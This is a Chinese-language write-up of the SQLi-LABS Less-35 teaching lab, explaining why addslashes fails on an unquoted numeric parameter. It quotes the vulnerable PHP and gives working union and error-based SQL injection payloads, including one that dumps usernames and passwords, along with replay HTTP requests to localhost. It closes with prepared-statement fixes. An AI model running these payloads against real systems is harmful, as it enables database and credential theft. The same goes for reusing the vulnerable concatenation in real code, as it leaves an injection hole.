Less-35 审计报告:数字型注入(addslashes 失效场景)
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-35 why care for addslashes() |
| 源码路径 | Less-35/index.php |
| 漏洞类型 | SQL 注入 – 数字型联合查询/报错注入(addslashes 对无引号拼接无效) |
| 注入点参数 | GET /Less-35/?id= |
| 报错/盲注 | 报错回显(print_r(mysql_error()),第 52 行) |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-35/index.php
// 第 17~21 行:addslashes 过滤
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
// 第 26 行:输入经过 addslashes
$id=check_addslashes($_GET['id']);
// 第 36 行:连接字符集 GBK(本关无用,因无引号闭合)
mysql_query("SET NAMES gbk");
// 第 37 行:数字型拼接 —— 没有引号!
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
// 第 52 行:报错回显
print_r(mysql_error());
3. 漏洞分析
- 防御设计:
addslashes()转义'、"、\、NUL——但第 37 行WHERE id=$id是数字型拼接,无任何引号包裹。 - 失效原理(核心):
addslashes只对引号和反斜杠做处理;payload1 union select ...-- -中不含需要转义的字符,过滤完全不起作用。 - 本关意义:演示"为什么过滤了引号仍然不安全"——数字型注入根本不依赖引号。
- 回显:第 52 行报错回显;UNION 结果也直接显示。
4. 利用方式
步骤一:确认注入(无引号,直接闭合)
?id=1 and 1=1正常、?id=1 and 1=2无结果 → 注入点确认。
步骤二:联合注入(核心 payload)
-1 union select 1,2,database()-- -
拼接后:
SELECT * FROM users WHERE id=-1 union select 1,2,database()-- - LIMIT 0,1
- 结果显示
Your Login name:2、Your Password:security。
步骤三:报错注入
-1 and extractvalue(1,concat(0x7e,database()))-- -
回显 XPATH syntax error: '~security'。
步骤四:提取其它数据
-1 union select 1,2,group_concat(username,0x3a,password) from users-- -
5. Yakit 重放数据包
GET /sqli-labs/Less-35/?id=-1%20union%20select%201,2,database()--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
报错注入报文:
GET /sqli-labs/Less-35/?id=-1%20and%20extractvalue(1,concat(0x7e,database()))--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
空格编码为
%20;本关无需宽字节技巧。
6. 修复建议
修复一:PDO 预处理
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
修复二:mysqli 预处理
<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
修复三:加固要点
- 转义函数 ≠ 防注入;数字型参数必须
ctype_digit()/is_numeric()校验; - 关闭
mysql_error()回显;数据库最小权限; - 升级 PHP 7+ / 8+,移除
mysql_*。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前提:导入
sql-lab.sql、配置sql-connections/db-creds.inc、PHP 5.x +mysql扩展。
正文完